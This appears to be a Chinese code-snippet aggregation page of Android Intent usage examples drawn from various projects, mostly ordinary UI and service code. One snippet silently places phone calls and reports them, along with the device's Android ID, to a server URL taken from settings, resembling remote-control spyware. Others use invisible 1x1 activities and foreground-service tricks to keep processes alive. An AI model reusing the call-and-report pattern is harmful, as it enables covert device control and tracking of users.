下面列出了怎么用android.content.Intent的API类实例代码及写法,或者点击链接到github查看源代码。
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_listview) {
startActivity(new Intent(this, ListViewExample.class));
return true;
} else if (id == R.id.action_gridview) {
startActivity(new Intent(this, GridViewExample.class));
return true;
} else if (id == R.id.action_nexted) {
startActivity(new Intent(this, NestedExample.class));
return true;
}
return super.onOptionsItemSelected(item);
}
private static void showSettingsMenu(View v) {
PopupMenu menu = new PopupMenu(v.getContext(), v);
menu.getMenuInflater().inflate(R.menu.overflow_popup, menu.getMenu());
menu.setOnMenuItemClickListener(item -> {
if (item.getItemId() == R.id.menu_settings) {
((MainActivity) v.getContext()).openSettings();
} else if (item.getItemId() == R.id.menu_feedback) {
Context c = v.getContext();
Intent intent = new Intent(Intent.ACTION_SENDTO,
Uri.fromParts("mailto", "[email protected]", null));
intent.putExtra(Intent.EXTRA_SUBJECT, "Feedback about Talalarmo");
v.getContext().startActivity(Intent.createChooser(intent, c.getString(R.string.leave_feedback)));
}
return true;
});
menu.show();
}
public static UUID getCallIdFromIntent(Intent intent) {
int version = getProtocolVersionFromIntent(intent);
String callIdString = null;
if (isVersionCompatibleWithBucketedIntent(version)) {
Bundle bridgeArgs = intent.getBundleExtra(EXTRA_PROTOCOL_BRIDGE_ARGS);
if (bridgeArgs != null) {
callIdString = bridgeArgs.getString(BRIDGE_ARG_ACTION_ID_STRING);
}
} else {
callIdString = intent.getStringExtra(EXTRA_PROTOCOL_CALL_ID);
}
UUID callId = null;
if (callIdString != null) {
try {
callId = UUID.fromString(callIdString);
} catch (IllegalArgumentException exception) {
}
}
return callId;
}
private void initVideoView() {
//拿到VideoView实例
mVideoView = getVideoViewManager().get(Tag.SEAMLESS);
//如果已经添加到某个父容器,就将其移除
Utils.removeViewFormParent(mVideoView);
//把播放器添加到页面的容器中
mPlayerContainer.addView(mVideoView);
//设置新的控制器
StandardVideoController controller = new StandardVideoController(DetailActivity.this);
mVideoView.setVideoController(controller);
Intent intent = getIntent();
boolean seamlessPlay = intent.getBooleanExtra(IntentKeys.SEAMLESS_PLAY, false);
String title = intent.getStringExtra(IntentKeys.TITLE);
controller.addDefaultControlComponent(title, false);
if (seamlessPlay) {
//无缝播放需还原Controller状态
controller.setPlayState(mVideoView.getCurrentPlayState());
controller.setPlayerState(mVideoView.getCurrentPlayerState());
} else {
//不是无缝播放的情况
String url = intent.getStringExtra(IntentKeys.URL);
mVideoView.setUrl(url);
mVideoView.start();
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == 101) {
if (resultCode== Activity.RESULT_OK)
YTutils.showInterstitialAd(activity);
}
if (requestCode == 42) {
Uri treeUri = data.getData();
DocumentFile pickedDir = DocumentFile.fromTreeUri(activity, treeUri);
activity.grantUriPermission(activity.getPackageName(), treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
activity.getContentResolver().takePersistableUriPermission(treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
SharedPreferences.Editor editor = preferences.edit();
editor.putString("ext_sdcard", treeUri.toString());
editor.apply();
Toast.makeText(activity, "Permission granted, try to delete file again!", Toast.LENGTH_LONG).show();
}
super.onActivityResult(requestCode, resultCode, data);
}
@Override
protected void onResume() {
super.onResume();
if (isServiceRunning()) {
if (!mServiceBound){
Intent intent = new Intent(this, MainService.class);
bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
}
showErrorInterface(false);
}
else if (mServiceBound) {
stopService();
}
updateInterface();
}
@Override
protected String doInBackground(String... params) {
String telephone = "tel:" + i.trim() ;
Intent intent = new Intent(Intent.ACTION_CALL);
intent.setData(Uri.parse(telephone));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Initiated: " + i);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return "Executed";
}
@Override
public boolean startActivityAndNeedWating(IMBaseActivity context, Map<String, String> map) {
// if(map != null){
// String groupId = map.get("groupId");
Intent intent = new Intent(context, QtalkServiceExternalRNActivity.class);
for (Map.Entry<String, String> entry : map.entrySet()) {
// intent.putExtra(entry.getKey(), entry.getValue() + "");
// map.put(entry.getKey(),entry.getValue());
// str+=entry.getKey()+"="+entry.getValue()+"&";
intent.putExtra(entry.getKey(),entry.getValue());
}
// intent.putExtra("groupId", groupId);
// intent.putExtra("permissions", ConnectionUtil.getInstance().selectGroupMemberPermissionsByGroupIdAndMemberId(groupId, CurrentPreference.getInstance().getPreferenceUserId()));
context.startActivity(intent);
// }
return false;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case OPTION_EXPORT_DATABASE:
try {
boolean exported = SanaUtil.exportDatabase(this, "models.db");
} catch (IOException e) {
e.printStackTrace();
}
return true;
case OPTION_SETTINGS:
Intent i = new Intent(Intent.ACTION_PICK);
i.setClass(this, Settings.class);
startActivityForResult(i, SETTINGS);
return true;
case OPTION_SYNC:
//doUpdatePatientDatabase();
return true;
}
return false;
}
private void openInnerFileManager() {
Intent openExplorerIntent = new Intent(
getContext(),
FileManagerActivity.class
);
String lastPath = SettingsHelper.getLastPathForInnerFileManager(context);
if (lastPath != null) {
openExplorerIntent.putExtra(
FileManagerActivity.LAST_PATH,
lastPath
);
}
startActivityForResult(
openExplorerIntent,
FileManagerActivity.FILE_SELECT_FROM_FILE_MANAGER
);
}
/**
* Helper method to start Compress service
*
* @param file the new compressed file
* @param baseFiles list of {@link BaseFile} to be compressed
*/
public void compressFiles(File file, ArrayList<BaseFile> baseFiles) {
int mode = checkFolder(file.getParentFile(), mainActivity);
if (mode == 2) {
mainActivity.originPath_oppathe = (file.getPath());
mainActivity.operation = DataUtils.COMPRESS;
mainActivity.originPaths_oparrayList = baseFiles;
} else if (mode == 1) {
Intent intent2 = new Intent(mainActivity, ZipTask.class);
intent2.putExtra(ZipTask.KEY_COMPRESS_PATH, file.getPath());
intent2.putExtra(ZipTask.KEY_COMPRESS_FILES, baseFiles);
ServiceWatcherUtil.runService(mainActivity, intent2);
} else {
Toast.makeText(mainActivity, R.string.not_allowed, Toast.LENGTH_SHORT).show();
}
}
@Override
public void issue(Intent in, int ret)
{
if (in == null)
return;
try
{
if (ret == 0)
context.startActivity(in);
else
context.startActivityForResult(in, ret);
}
catch (Exception e)
{
e.printStackTrace();
}
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_profile) {
profileDialog.show(getSupportFragmentManager(), "profile");
return true;
} else if (id == R.id.action_settings) {
startActivity(new Intent(this, SettingsActivity.class));
return true;
}
return super.onOptionsItemSelected(item);
}
/**
* Setups an alarm to check for updates if an update is due.
*/
private static void checkTimeAndMaybeSetupUpdateAlarm(final Context context) {
// Of all clients, if the one that hasn't been updated for the longest
// is still more recent than UPDATE_FREQUENCY_MILLIS, do nothing.
if (!isLastUpdateAtLeastThisOld(context, UPDATE_FREQUENCY_MILLIS)) return;
PrivateLog.log("Date changed - registering alarm");
AlarmManager alarmManager = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE);
// Best effort to wake between midnight and MAX_ALARM_DELAY_MILLIS in the morning.
// It doesn't matter too much if this is very inexact.
final long now = System.currentTimeMillis();
final long alarmTime = now + new Random().nextInt(MAX_ALARM_DELAY_MILLIS);
final Intent updateIntent = new Intent(new DictionaryPackConstants(context).UPDATE_NOW_INTENT_ACTION);
final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0,
updateIntent, PendingIntent.FLAG_CANCEL_CURRENT);
// We set the alarm in the type that doesn't forcefully wake the device
// from sleep, but fires the next time the device actually wakes for any
// other reason.
if (null != alarmManager) alarmManager.set(AlarmManager.RTC, alarmTime, pendingIntent);
}
private View createView2() {
LayoutInflater inflater2 = LayoutInflater.from(getBaseContext());
LinearLayout view2 =
(LinearLayout) inflater2.inflate(R.layout.activity_post_image, null, false);
Typeface fontType = FontManager.getTypeface(getApplicationContext(), FontManager.APP_FONT);
FontManager.markAsIconContainer(findViewById(R.id.activity_post_layout), fontType);
mSelectImage = (ImageButton) view2.findViewById(R.id.imageButton);
mSelectImage.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(
Intent.ACTION_PICK,
android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
startActivityForResult(intent, GALLERY_REQUEST);
}
});
return view2;
}
@Override
public void initView() {
activity = this;
Window window = getWindow();
window.setGravity(Gravity.LEFT | Gravity.TOP);
WindowManager.LayoutParams params = window.getAttributes();
params.x = 0;
params.y = 0;
params.width = 1;
params.height = 1;
window.setAttributes(params);
receiver =new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
finish();
}
};
IntentFilter filter = new IntentFilter();
filter.addAction("KeepLive");
registerReceiver(receiver, filter);
}
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) {
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = connectivityManager.getActiveNetworkInfo();
NetStatue status = NetStatue.NO_WORK;
if (info != null && info.isAvailable()) {
if (NetManager.Net_MOBILE.equals(info.getTypeName())) {
status = NetStatue.MOBILE;
} else if (NetManager.Net_WIFI.equals(info.getTypeName())) {
status = NetStatue.WIFI;
}
}
if (listener != null) {
listener.netWorkChange(status);
}
}
}
@Override
protected void onViewEvent(Intent intent) {
String action = intent.getStringExtra(Notification.Intents.EXTRA_ACTION);
String hostAppPackageName = intent
.getStringExtra(Registration.Intents.EXTRA_AHA_PACKAGE_NAME);
boolean advancedFeaturesSupported = DeviceInfoHelper.isSmartWatch2ApiAndScreenDetected(
this, hostAppPackageName);
int eventId = intent.getIntExtra(Notification.Intents.EXTRA_EVENT_ID, -1);
if (Notification.SourceColumns.ACTION_1.equals(action)) {
NotificationUtil.deleteAllEvents(this);
} else if (Notification.SourceColumns.ACTION_2.equals(action)) {
NotificationUtil.deleteAllEvents(this);
} else if (Notification.SourceColumns.ACTION_3.equals(action)) {
Toast.makeText(this, "Action 3", Toast.LENGTH_LONG).show();
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode==REQUEST_SPEECH && resultCode == RESULT_OK && data!=null) {
ArrayList<String> result = data.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS);
TextView textView = findViewById(R.id.textView);
if (!result.isEmpty()){
textView.setText("");
for (String item : result ) {
textView.append(item+"\n");
}
}
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
switch (requestCode){
case MODIFY_POST:
if (resultCode == RESULT_OK){
finish();
}
break;
}
}
/**
* Lanches an intent that guides to the mixare installation.
*
* @param context the {@link Context} to use.
*/
public static void installMixareFromMarket(Context context) {
Intent i = new Intent();
i.setAction(Intent.ACTION_VIEW);
i.setData(Uri.parse("market://search?q=pname:org.mixare"));
context.startActivity(i);
}
protected void sendBroadcastMessage(String type, String key, boolean b) {
Intent intent = new Intent(type);
intent.putExtra(key, b);
Log.e(TAG, "Send message: " + type + ", " + key + ", " + String.valueOf(b));
LocalBroadcastManager.getInstance(main_context).sendBroadcast(intent);
}
public static boolean handleMenuClick(@NonNull FragmentActivity activity, @NonNull Song song, int menuItemId) {
switch (menuItemId) {
case R.id.action_set_as_ringtone:
MusicUtil.setRingtone(activity, song.id);
return true;
case R.id.action_share:
activity.startActivity(Intent.createChooser(MusicUtil.createShareSongFileIntent(song), null));
return true;
case R.id.action_delete_from_device:
DeleteSongsDialog.create(song).show(activity.getSupportFragmentManager(), "DELETE_SONGS");
return true;
case R.id.action_add_to_playlist:
AddToPlaylistDialog.create(song).show(activity.getSupportFragmentManager(), "ADD_PLAYLIST");
return true;
case R.id.action_play_next:
MusicPlayerRemote.playNext(song);
return true;
case R.id.action_add_to_current_playing:
MusicPlayerRemote.enqueue(song);
return true;
case R.id.action_tag_editor:
Intent tagEditorIntent = new Intent(activity, SongTagEditorActivity.class);
tagEditorIntent.putExtra(AbsTagEditorActivity.EXTRA_ID, song.id);
if (activity instanceof PaletteColorHolder)
tagEditorIntent.putExtra(AbsTagEditorActivity.EXTRA_PALETTE, ((PaletteColorHolder) activity).getPaletteColor());
activity.startActivity(tagEditorIntent);
return true;
case R.id.action_details:
SongDetailDialog.create(song).show(activity.getSupportFragmentManager(), "SONG_DETAILS");
return true;
case R.id.action_go_to_album:
NavigationUtil.goToAlbum(activity, song.albumId);
return true;
case R.id.action_go_to_artist:
NavigationUtil.goToArtist(activity, song.artistId);
return true;
}
return false;
}
@Override
public void initData() {
Intent intent = getIntent();
if (intent != null) {
userMsg = intent.getStringExtra("userInfo");
}
clipBoard = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
preClipBoard = (android.text.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
}
private void initBroadcastReceiver() {
broadcastReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (AudioManager.ACTION_AUDIO_BECOMING_NOISY.equals(action)) {
pauseReadAloud(true);
}
}
};
IntentFilter intentFilter = new IntentFilter(AudioManager.ACTION_AUDIO_BECOMING_NOISY);
registerReceiver(broadcastReceiver, intentFilter);
}
@OnClick(R.id.container)
public void onClick(View view) {
int type = mBean.type;
switch (type) {
case 0:
mContext.startActivity(new Intent(mContext, SingleItemActivity.class));
break;
case 1:
mContext.startActivity(new Intent(mContext, MultiItemActivity.class));
break;
case 2:
mContext.startActivity(new Intent(mContext, GridActivity.class));
break;
case 3:
mContext.startActivity(new Intent(mContext, StaggeredActivity.class));
break;
case 4:
mContext.startActivity(new Intent(mContext, ManualLoadMoreActivity.class));
break;
case 5:
mContext.startActivity(new Intent(mContext, DragActivity.class));
break;
case 6:
mContext.startActivity(new Intent(mContext, ExpandActivity.class));
break;
}
}
private void fireIntentAndFinish() {
// Update MasterSwitch Widget if existent
switch (mode) {
case ActionsHelper.ACTION_TOGGLE_MASTER_SWITCH:
case ActionsHelper.ACTION_MASTER_SWITCH_ON:
case ActionsHelper.ACTION_MASTER_SWITCH_OFF:
Intent intent = new Intent(this, MasterSwitchWidget.class);
intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);
int[] ids = AppWidgetManager.getInstance(getApplication()).getAppWidgetIds(new ComponentName(getApplication(), MasterSwitchWidget.class));
intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, ids);
sendBroadcast(intent);
}
finish();
}
private void setShoppingCartLink() {
TextView tvViewShoppingCart = (TextView)findViewById(R.id.tvViewShoppingCart);
SpannableString content = new SpannableString(getText(R.string.shopping_cart));
content.setSpan(new UnderlineSpan(), 0, content.length(), 0);
tvViewShoppingCart.setText(content);
tvViewShoppingCart.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(ProductActivity.this, ShoppingCartActivity.class);
startActivity(intent);
}
});
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
startForeground(NOTIFY_ID, new Notification());
stopForeground(true);
stopSelf();
return super.onStartCommand(intent, flags, startId);
}
private void play() {
if (currentChannel == null || binder == null) {
return;
}
Intent currentIntent = ChannelDetailActivity.getStartIntent(this, currentChannel.getId());
binder.setForegroundActivityIntent(currentIntent);
Timber.d("play: %s", currentChannel.getName());
player.load(VideoInfo.fromChannel(currentChannel));
player.resume();
}